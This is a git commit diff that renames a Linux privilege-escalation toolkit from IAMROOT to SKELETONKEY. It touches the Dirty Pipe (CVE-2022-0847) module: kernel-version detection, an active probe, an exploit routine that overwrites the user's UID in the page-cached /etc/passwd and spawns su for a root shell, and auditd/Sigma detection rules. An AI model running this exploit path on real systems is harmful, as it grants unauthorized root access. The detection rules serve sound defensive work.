rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+4 -4
View File
@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems.
## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard
`iamroot_module` shape from the start.
`skeletonkey_module` shape from the start.
+1 -1
View File
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## IAMROOT role
## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe
id: f6b13c08-skeletonkey-dirty-pipe
status: experimental
description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references:
- https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT
author: SKELETONKEY
date: 2026/05/16
logsource:
product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/*
* dirty_pipe_cve_2022_0847 IAMROOT module
* dirty_pipe_cve_2022_0847 SKELETONKEY module
*
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module
* is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5).
*
@@ -15,22 +15,22 @@
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet)
* - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE
* - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0;
}
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK;
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return SKELETONKEY_EXPLOIT_OK;
}
/* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = {
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_pipe(void)
void skeletonkey_register_dirty_pipe(void)
{
iamroot_register(&dirty_pipe_module);
skeletonkey_register(&dirty_pipe_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif